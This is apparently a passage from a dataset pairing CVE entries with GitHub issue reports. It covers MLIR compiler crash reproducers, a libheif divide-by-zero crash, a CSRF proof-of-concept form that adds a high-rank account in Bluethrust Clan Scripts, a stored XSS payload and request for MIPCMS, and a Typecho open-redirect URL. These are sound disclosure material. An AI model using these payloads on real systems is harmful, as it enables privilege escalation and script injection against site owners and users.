%17 = llvm.insertvalue %arg12, %16[1] : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>
%18 = llvm.insertvalue %arg13, %17[2] : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>
%19 = llvm.insertvalue %arg14, %18[3, 0] : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>
%20 = llvm.insertvalue %arg15, %19[4, 0] : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>
%21 = builtin.unrealized_conversion_cast %20 : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)> to memref<10xf64>
sparse_tensor.sort %0, %7, %14 jointly %21 : memref<10xi8>, memref<20xi8> jointly memref<10xf64>
%22 = llvm.mlir.undef : !llvm.struct<(struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>)>
%23 = llvm.insertvalue %6, %22[0] : !llvm.struct<(struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>)>
%24 = llvm.insertvalue %13, %23[1] : !llvm.struct<(struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>)>
%25 = llvm.insertvalue %20, %24[2] : !llvm.struct<(struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>)>
llvm.return %25 : !llvm.struct<(struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>)>
}
}
```
trace:
```console
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt --sparse-buffer-rewrite temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x0000000100d785bc llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 56
1 mlir-opt 0x0000000100d77624 llvm::sys::RunSignalHandlers() + 112
2 mlir-opt 0x0000000100d78c54 SignalHandler(int) + 344
3 libsystem_platform.dylib 0x00000001a56894c4 _sigtramp + 56
4 mlir-opt 0x00000001016f1050 getMangledSortHelperFunc(mlir::OpBuilder&, mlir::func::FuncOp, mlir::TypeRange, llvm::StringRef, unsigned long long, unsigned long long, bool, mlir::ValueRange, llvm::function_ref<void (mlir::OpBuilder&, mlir::ModuleOp, mlir::func::FuncOp, unsigned long long, unsigned long long, bool)>) + 764
5 mlir-opt 0x00000001016f0300 mlir::LogicalResult matchAndRewriteSortOp<mlir::sparse_tensor::SortOp>(mlir::sparse_tensor::SortOp, mlir::ValueRange, unsigned long long, unsigned long long, bool, mlir::PatternRewriter&) + 692
6 mlir-opt 0x00000001016efff4 (anonymous namespace)::SortRewriter::matchAndRewrite(mlir::sparse_tensor::SortOp, mlir::PatternRewriter&) const + 676
7 mlir-opt 0x0000000102217bd0 mlir::PatternApplicator::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&, llvm::function_ref<bool (mlir::Pattern const&)>, llvm::function_ref<void (mlir::Pattern const&)>, llvm::function_ref<mlir::LogicalResult (mlir::Pattern const&)>) + 1440
8 mlir-opt 0x0000000101fd2328 mlir::applyPatternsAndFoldGreedily(llvm::MutableArrayRef<mlir::Region>, mlir::FrozenRewritePatternSet const&, mlir::GreedyRewriteConfig) + 3808
9 mlir-opt 0x0000000101714fb8 (anonymous namespace)::SparseBufferRewritePass::runOnOperation() + 292
10 mlir-opt 0x0000000101f834dc mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 420
11 mlir-opt 0x0000000101f83a0c mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 320
12 mlir-opt 0x0000000101f85388 mlir::PassManager::run(mlir::Operation*) + 1148
13 mlir-opt 0x0000000101f7e840 performActions(llvm::raw_ostream&, bool, bool, std::__1::shared_ptr<llvm::SourceMgr> const&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 504
14 mlir-opt 0x0000000101f7e410 mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 704
15 mlir-opt 0x0000000101fe902c mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 656
16 mlir-opt 0x0000000101f7c838 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 216
17 mlir-opt 0x0000000101f7cd2c mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 1208
18 mlir-opt 0x0000000100c1b0a0 main + 108
19 dyld 0x00000001053fd088 start + 516
``` | [mlir] Sparse-buffer-rewrite pass crashes with Segmentation fault | https://api.github.com/repos/llvm/llvm-project/issues/59988/comments | 2 | 2023-01-13T06:25:31Z | 2023-02-27T15:37:24Z | https://github.com/llvm/llvm-project/issues/59988 | 1,531,773,423 | 59,988 | 5,075 |
CVE-2023-29942 | 2023-05-05T15:15:09.970 | llvm-project commit a0138390 was discovered to contain a segmentation fault via the component mlir::Type::isa<mlir::LLVM::LLVMVoidType. | {
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"attackComplexity": "LOW",
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"baseScore": 5.5,
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"confidentialityImpact": "NONE",
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
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"type": "Secondary"
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"source": "cve@mitre.org",
"tags": [
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},
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] | [
"125"
] | 125 | https://github.com/llvm/llvm-project/issues/59990 | [
"Issue Tracking",
"Patch"
] | github.com | [
"llvm",
"llvm-project"
] | MLIR built at commit https://github.com/llvm/llvm-project/commit/a0138390
Reproduced with:
`mlir-opt --convert-spirv-to-llvm temp.mlir`
`temp.mlir`:
```mlir
module {
spirv.module Logical GLSL450 {
spirv.GlobalVariable @var01_scalar bind(0, 1) {aliased} : !spirv.ptr<!spirv.struct<(!spirv.rtarray<f32, stride=4> [0])>, StorageBuffer>
spirv.GlobalVariable @var01_vec2 bind(0, 1) {aliased} : !spirv.ptr<!spirv.struct<(!spirv.rtarray<vector<2xf32>, stride=8> [0])>, StorageBuffer>
spirv.GlobalVariable @var01_vec4 bind(0, 1) {aliased} : !spirv.ptr<!spirv.struct<(!spirv.rtarray<vector<4xf32>, stride=16> [0])>, StorageBuffer>
spirv.func @load_different_vector_sizes(%i0: i32) -> vector<4xf32> "None" {
%c0 = spirv.Constant 0 : i32
%addr0 = spirv.mlir.addressof @var01_vec4 : !spirv.ptr<!spirv.struct<(!spirv.rtarray<vector<4xf32>, stride=16> [0])>, StorageBuffer>
%ac0 = spirv.AccessChain %addr0[%c0, %i0] : !spirv.ptr<!spirv.struct<(!spirv.rtarray<vector<4xf32>, stride=16> [0])>, StorageBuffer>, i32, i32
%vec4val = spirv.Load "StorageBuffer" %ac0 : vector<4xf32>
%addr1 = spirv.mlir.addressof @var01_scalar : !spirv.ptr<!spirv.struct<(!spirv.rtarray<f32, stride=4> [0])>, StorageBuffer>
%ac1 = spirv.AccessChain %addr1[%c0, %i0] : !spirv.ptr<!spirv.struct<(!spirv.rtarray<f32, stride=4> [0])>, StorageBuffer>, i32, i32
%scalarval = spirv.Load "StorageBuffer" %ac1 : f32
%val = spirv.CompositeInsert %scalarval, %vec4val[0 : i32] : f32 into vector<4xf32>
spirv.ReturnValue %val : vector<4xf32>
}
}
}
```
trace:
```console
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt --convert-spirv-to-llvm temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x00000001023fc5bc llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 56
1 mlir-opt 0x00000001023fb624 llvm::sys::RunSignalHandlers() + 112
2 mlir-opt 0x00000001023fcc54 SignalHandler(int) + 344
3 libsystem_platform.dylib 0x00000001a56894c4 _sigtramp + 56
4 mlir-opt 0x0000000102a8a668 bool mlir::Type::isa<mlir::LLVM::LLVMVoidType, mlir::LLVM::LLVMLabelType, mlir::LLVM::LLVMMetadataType, mlir::LLVM::LLVMFunctionType, mlir::LLVM::LLVMTokenType, mlir::LLVM::LLVMScalableVectorType>() const + 24
5 mlir-opt 0x0000000102a8a668 bool mlir::Type::isa<mlir::LLVM::LLVMVoidType, mlir::LLVM::LLVMLabelType, mlir::LLVM::LLVMMetadataType, mlir::LLVM::LLVMFunctionType, mlir::LLVM::LLVMTokenType, mlir::LLVM::LLVMScalableVectorType>() const + 24
6 mlir-opt 0x0000000102a8bef8 mlir::LLVM::LLVMStructType::verify(llvm::function_ref<mlir::InFlightDiagnostic ()>, llvm::ArrayRef<mlir::Type>, bool) + 76
7 mlir-opt 0x0000000102a8bcc8 mlir::LLVM::LLVMStructType mlir::detail::StorageUserBase<mlir::LLVM::LLVMStructType, mlir::Type, mlir::LLVM::detail::LLVMStructTypeStorage, mlir::detail::TypeUniquer, mlir::DataLayoutTypeInterface::Trait, mlir::SubElementTypeInterface::Trait, mlir::TypeTrait::IsMutable>::get<llvm::ArrayRef<mlir::Type>, bool>(mlir::MLIRContext*, llvm::ArrayRef<mlir::Type>, bool) + 76
8 mlir-opt 0x000000010332d334 std::__1::__function::__func<std::__1::enable_if<std::is_invocable_v<mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5, mlir::spirv::StructType, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>>, std::__1::function<std::__1::optional<mlir::LogicalResult> (mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>>::type mlir::TypeConverter::wrapCallback<mlir::spirv::StructType, std::__1::enable_if<std::is_invocable_v<mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5, mlir::spirv::StructType>, std::__1::function<std::__1::optional<mlir::LogicalResult> (mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>>::type mlir::TypeConverter::wrapCallback<mlir::spirv::StructType, mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5>(mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5&&)::'lambda'(mlir::spirv::StructType, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>(mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5&&)::'lambda'(mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>), std::__1::allocator<std::__1::enable_if<std::is_invocable_v<mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5, mlir::spirv::StructType, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>>, std::__1::function<std::__1::optional<mlir::LogicalResult> (mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>>::type mlir::TypeConverter::wrapCallback<mlir::spirv::StructType, std::__1::enable_if<std::is_invocable_v<mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5, mlir::spirv::StructType>, std::__1::function<std::__1::optional<mlir::LogicalResult> (mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>>::type mlir::TypeConverter::wrapCallback<mlir::spirv::StructType, mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5>(mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5&&)::'lambda'(mlir::spirv::StructType, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>(mlir::populateSPIRVToLLVMTypeConversion(mlir::LLVMTypeConverter&)::$_5&&)::'lambda'(mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>, std::__1::optional<mlir::LogicalResult> (mlir::Type, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>)>::operator()(mlir::Type&&, llvm::SmallVectorImpl<mlir::Type>&, llvm::ArrayRef<mlir::Type>&&) + 776
9 mlir-opt 0x000000010363a9e4 mlir::TypeConverter::convertType(mlir::Type, llvm::SmallVectorImpl<mlir::Type>&) + 764
10 mlir-opt 0x000000010363f0f4 mlir::TypeConverter::convertType(mlir::Type) + 64
11 mlir-opt 0x0000000103346d14 (anonymous namespace)::GlobalVariablePattern::matchAndRewrite(mlir::spirv::GlobalVariableOp, mlir::spirv::GlobalVariableOpAdaptor, mlir::ConversionPatternRewriter&) const + 124
12 mlir-opt 0x0000000102f78af4 mlir::OpConversionPattern<mlir::spirv::GlobalVariableOp>::matchAndRewrite(mlir::Operation*, llvm::ArrayRef<mlir::Value>, mlir::ConversionPatternRewriter&) const + 144
13 mlir-opt 0x000000010363ee34 mlir::ConversionPattern::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&) const + 200
14 mlir-opt 0x000000010389bbd0 mlir::PatternApplicator::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&, llvm::function_ref<bool (mlir::Pattern const&)>, llvm::function_ref<void (mlir::Pattern const&)>, llvm::function_ref<mlir::LogicalResult (mlir::Pattern const&)>) + 1440
15 mlir-opt 0x00000001036494b0 (anonymous namespace)::OperationLegalizer::legalize(mlir::Operation*, mlir::ConversionPatternRewriter&) + 1948
16 mlir-opt 0x0000000103642b1c (anonymous namespace)::OperationConverter::convertOperations(llvm::ArrayRef<mlir::Operation*>, llvm::function_ref<void (mlir::Diagnostic&)>) + 928
17 mlir-opt 0x0000000103644d18 mlir::applyPartialConversion(mlir::Operation*, mlir::ConversionTarget&, mlir::FrozenRewritePatternSet const&, llvm::DenseSet<mlir::Operation*, llvm::DenseMapInfo<mlir::Operation*, void>>*) + 80
18 mlir-opt 0x000000010334dc20 (anonymous namespace)::ConvertSPIRVToLLVMPass::runOnOperation() + 600
19 mlir-opt 0x00000001036074dc mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 420
20 mlir-opt 0x0000000103607a0c mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 320
21 mlir-opt 0x0000000103609388 mlir::PassManager::run(mlir::Operation*) + 1148
22 mlir-opt 0x0000000103602840 performActions(llvm::raw_ostream&, bool, bool, std::__1::shared_ptr<llvm::SourceMgr> const&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 504
23 mlir-opt 0x0000000103602410 mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 704
24 mlir-opt 0x000000010366d02c mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 656
25 mlir-opt 0x0000000103600838 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 216
26 mlir-opt 0x0000000103600d2c mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 1208
27 mlir-opt 0x000000010229f0a0 main + 108
28 dyld 0x0000000106ad5088 start + 516
``` | [mlir] Convert-spirv-to-llvm Pass trigger Segmentation fault in LLVMStructType verifier | https://api.github.com/repos/llvm/llvm-project/issues/59990/comments | 8 | 2023-01-13T06:31:05Z | 2023-10-30T06:40:18Z | https://github.com/llvm/llvm-project/issues/59990 | 1,531,779,880 | 59,990 | 5,076 |
CVE-2023-29659 | 2023-05-05T16:15:09.387 | A Segmentation fault caused by a floating point exception exists in libheif 1.15.1 using crafted heif images via the heif::Fraction::round() function in box.cc, which causes a denial of service. | {
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"369"
] | 369 | https://github.com/strukturag/libheif/issues/794 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"strukturag",
"libheif"
] | **Tested version:**
libheif-1.15.1
**Description of the bug:**
Floating point exception is triggered when processing a crafted heif image, caused by divide by zero error, which leads to a crash.
This can be used for denial of service attacks.
**Steps to reproduce the bug:**
Compile with Address Sanitizer (ASan) :
./fuzzer ./poc.heif
**Address Sanitizer log:**
```
min@skensita:~/heif/fuzzer$ ./fuzzer dbg/classifiedCrashes/7e74fe547c83f1da6453572ddfe6832d1da6109c
AddressSanitizer:DEADLYSIGNAL
=================================================================
==8030==ERROR: AddressSanitizer: FPE on unknown address 0x55722e2d29ed (pc 0x55722e2d29ed bp 0x7ffebc2cd170 sp 0x7ffebc2cd160 T0)
#0 0x55722e2d29ec in heif::Fraction::round() const (/home/min/heif/fuzzer/fuzzer+0x1189ec)
#1 0x55722e2f32da in heif::Box_clap::bottom_rounded(int) const (/home/min/heif/fuzzer/fuzzer+0x1392da)
#2 0x55722e22568c in heif::HeifContext::decode_image_planar(unsigned int, std::shared_ptr<heif::HeifPixelImage>&, heif_colorspace, heif_decoding_options const*, bool) const (/home/min/heif/fuzzer/fuzzer+0x6b68c)
#3 0x55722e222609 in heif::HeifContext::decode_image_user(unsigned int, std::shared_ptr<heif::HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const*) const (/home/min/heif/fuzzer/fuzzer+0x68609)
#4 0x55722e1dd8dc in heif_decode_image (/home/min/heif/fuzzer/fuzzer+0x238dc)
#5 0x55722e1d46fa in TestDecodeImage(heif_context*, heif_image_handle const*) (/home/min/heif/fuzzer/fuzzer+0x1a6fa)
#6 0x55722e1d4c4c in main (/home/min/heif/fuzzer/fuzzer+0x1ac4c)
#7 0x7fed2bb83082 in __libc_start_main ../csu/libc-start.c:308
#8 0x55722e1d42bd in _start (/home/min/heif/fuzzer/fuzzer+0x1a2bd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE (/home/min/heif/fuzzer/fuzzer+0x1189ec) in heif::Fraction::round() const
==8030==ABORTING
```
Please check the attached POC.
[POC.zip](https://github.com/strukturag/libheif/files/10894604/POC.zip) | FPE in box.cc - heif::Fraction::round() | https://api.github.com/repos/strukturag/libheif/issues/794/comments | 9 | 2023-03-06T05:00:41Z | 2025-02-24T08:54:30Z | https://github.com/strukturag/libheif/issues/794 | 1,610,666,973 | 794 | 5,077 |
CVE-2020-18131 | 2023-05-08T14:15:10.000 | Cross Site Request Forgery (CSRF) vulnerability in Bluethrust Clan Scripts v4 allows attackers to escilate privledges to an arbitrary account via a crafted request to /members/console.php?cID=5. | {
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] | github.com | [
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"clanscripts"
] | After the administrator logged in, open the following one page
one.html add a High Rank account.
<code>
```html
<!DOCTYPE html>
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/members/console.php?cID=5" method="POST">
<input type="hidden" name="newmember" value="test2" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="password2" value="123456" />
<input type="hidden" name="set_rank" value="41" />
<input type="hidden" name="submit" value="Add New Member" />
<input type="hidden" name="checkCSRF" value="034afa58abf045d046ce7dba7b1b125e" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
</code> | There is one CSRF vulnerability that can add the High Rank account | https://api.github.com/repos/bluethrust/clanscripts/issues/27/comments | 0 | 2019-02-06T17:28:10Z | 2019-02-06T17:28:10Z | https://github.com/bluethrust/clanscripts/issues/27 | 407,346,988 | 27 | 5,078 |
CVE-2020-18132 | 2023-05-08T14:15:10.067 | Cross Site Scripting (XSS) vulnerability in MIPCMS 3.6.0 allows attackers to execute arbitrary code via the category name field to categoryEdit. | {
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] | github.com | [
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"mipcms"
] | 1.After the administrator logged in, open the following page:
<code>
http://127.0.0.1/?s=/admin/article/articleCategory/
</code>
2.click 'modify'
3.fill payload in Category Name :
<code>
"><imG/src=1 onerror=alert(1)>
</code>
4.save
5.The request package :
<code>
POST /?s=/article/ApiAdminArticle/categoryEdit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://127.0.0.1/?s=/admin/article/articleCategory/
Content-Type: application/json;charset=utf-8
access-key: cFaLOmUGoz9URROtxaAqe37vHSlI0LL3
terminal: pc
uid: 9afb4393b6cddbeb7418ab77
access-token: 06cdb3c844508158ebb7483c221c9e63
Content-Length: 324
Cookie: security_level=0; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1549460630; Hm_lvt_3155433929be1afd6cef849b9709d4d7=1553359007; lang_type=zh-CN; bdshare_firstime=1549546719595; wp-settings-time-1=1551345212; PHPSESSID=65unerfghovped0ap7eokcrdi3; admin_id=1; admin_level=1; admin_name=admin; admin_secret=8b99f316efb80526f2434ded92036bff; Hm_lpvt_3155433929be1afd6cef849b9709d4d7=1553359007
DNT: 1
Connection: close
{"id":1,"pid":0,"name":"\"><imG/src=1 onerror=alert(1)>","url_name":"123","seo_title":"","template":"article.html","detail_template":"articleDetail.html","category_url":"/article/<url_name>/","category_page_url":"<category_url>index_<page>.html","detail_url":"/article/<id>.html","description":"","keywords":"","content":""}
</code>
6.open the url it will trigger:
<code>
http://127.0.0.1/index.php?s=/article/123/
</code> | There is a Store XSS in Administrator Pannel | https://api.github.com/repos/sansanyun/mipcms/issues/4/comments | 0 | 2019-03-23T17:04:18Z | 2019-03-23T17:04:18Z | https://github.com/sansanyun/mipcms/issues/4 | 424,522,437 | 4 | 5,079 |
CVE-2020-21038 | 2023-05-08T14:15:10.283 | Open redirect vulnerability in typecho 1.1-17.10.30-release via the referer parameter to Login.php. | {
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] | 601 | https://github.com/typecho/typecho/issues/952 | [
"Exploit"
] | github.com | [
"typecho",
"typecho"
] | ### 1. 该问题的重现步骤是什么？
Typecho latest version url jump vulnerability after login
code:
```
admin > Login.php
public function action()
{
// protect
$this->security->protect();
/** 如果已经登录 */
if ($this->user->hasLogin()) {
/** 直接返回 */
$this->response->redirect($this->options->index);
```
Typecho first determines whether the user has logged in. If it has already logged in, it directly calls the redirect () function to redirect to the home page. This jump is mainly used to determine the user's status.
typecho首先判断用户是否已经登录，如果已经登录，则直接调用redirect()函数重定向至首页，这个跳转主要用于判断用户的状态。
```
admin > Login.php
if (NULL != $this->request->referer) {
$this->response->redirect($this->request->referer);
} else if (!$this->user->pass('contributor', true)) {
/** 不允许普通用户直接跳转后台 */
$this->response->redirect($this->options->profileUrl);
} else {
$this->response->redirect($this->options->adminUrl);
}
```
If there is no login, first verify whether the user's identity is correct, if the address of the referer is not empty, then call the redirect () function to redirect through the referer parameter, the referer parameter can be controlled
如果没有登录，则首先校验用户的身份是否正确，如果referer的地址不为空，则调用redirect()函数通过referer的参数进行重定向，referer参数可控
Follow up: redirect () function, which defines two parameters, of which the default is not permanent redirect
跟进：redirect()函数，该函数定义了两个参数，其中默认不为永久重定向
```
// Response.php
public function redirect($location, $isPermanently = false)
{
/** Typecho_Common */
$location = Typecho_Common::safeUrl($location);
if ($isPermanently) {
header('Location: ' . $location, false, 301);
exit;
} else {
header('Location: ' . $location, false, 302);
exit;
}
}
```
After the referer's address is passed to the redirect () function, it will first call Typecho_Common> static method safeUrl () to check the url, and finally determine whether to use permanent or temporary redirection according to the status of isPermanently
referer的地址传递到redirect()函数中以后，首先会调用Typecho_Common > 静态方法safeUrl()对url进行检查，最后根据isPermanently的状态，判断使用永久重定向还是临时重定向
Follow up: /var/Typecho/Common.php
跟进：/var/Typecho/Common.php
```
public static function safeUrl($url)
{
//~ 针对location的xss过滤, 因为其特殊性无法使用removeXSS函数
//~ fix issue 66
$params = parse_url(str_replace(array("\r", "\n", "\t", ' '), '', $url));
/** 禁止非法的协议跳转 */
if (isset($params['scheme'])) {
if (!in_array($params['scheme'], array('http', 'https'))) {
return '/';
}
}
/** 过滤解析串 */
$params = array_map(array('Typecho_Common', '__removeUrlXss'), $params);
return self::buildUrl($params);
}
```
Use safe_rl to replace string in str_replace (), replace all characters in array () list with empty string, and then parse the address of referer by calling parse_url () function: scheme, host, port, path, etc Array to $ params variable
Next, determine whether the protocol name is empty. If the source address is not the URL of the http protocol and https protocol, return the "/" path directly
safeUrl内使用str_replace()进行字符串替换，将array()列表中的所有字符替换为空字符串，然后通过调用parse_url()函数对referer的地址进行解析：scheme，host，port，path等返回一个数组到$params变量
接着判断，协议名称是否为空，如果来源地址不是http协议与https协议的url则直接返回 “/”路径
```
/**
* 根据parse_url的结果重新组合url
*
* @access public
* @param array $params 解析后的参数
* @return string
*/
public static function buildUrl($params)
{
return (isset($params['scheme']) ? $params['scheme'] . '://' : NULL) // 如果已经设置了协议名称，则默认在协议后面拼接''://'，否则为空
. (isset($params['user']) ? $params['user'] . (isset($params['pass']) ? ':' . $params['pass'] : NULL) . '@' : NULL)
. (isset($params['host']) ? $params['host'] : NULL) // 如果已经设置了主机名，则使用host参数
. (isset($params['port']) ? ':' . $params['port'] : NULL) // 如果已经设置了端口，则默认在端口后面拼接":"，否则为空
. (isset($params['path']) ? $params['path'] : NULL) // 如果已经设置了路径，则使用path参数
. (isset($params['query']) ? '?' . $params['query'] : NULL) // 如果已经设置了查询，则默认在query前拼接'？'
. (isset($params['fragment']) ? '#' . $params['fragment'] : NULL); 如果已经设置了分段，则默认在分段前拼接''#'
}
```
The formatted URLs are recombined and finally returned
格式化以后的url进行重新组合，最后返回
```
/**
* 将url中的非法xss去掉时的数组回调过滤函数
*
* @access private
* @param string $string 需要过滤的字符串
* @return string
*/
public static function __removeUrlXss($string)
{
$string = str_replace(array('%0d', '%0a'), '', strip_tags($string)); // 使用strip_tags()函数，强制过滤html代码，然后使用str_replace()函数将%0d,%0a（回车，换行）字符替换为空
return preg_replace(array(
"/\(\s*(\"|')/i", //函数开头
"/(\"|')\s*\)/i", //函数结尾
), '', $string);
}
```
poc:
```
http://127.0.0.1/admin/login.php?referer=http://www.baidu.com
```
登录前：
登录后跳转：
response：
```
HTTP/1.1 302 Found
Date: Wed, 29 Apr 2020 07:37:06 GMT
Server: Apache/2.4.41 (Debian)
Set-Cookie: 122609301a375f23d5f0237df98400e5__typecho_uid=1; path=/
Set-Cookie: 122609301a375f23d5f0237df98400e5__typecho_authCode=%24T%24VThLGyoLF07ae80963105613a00721934cce56d0a; path=/
Location: http://www.baidu.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
```
### 2. 你期待的结果是什么？实际看到的又是什么？
1.typecho首先判断用户登录状态
2.如果已经登录则返回主页
3.如果没有登录则先判断用户帐号密码是否正确，然后判断referer的来源是否为空
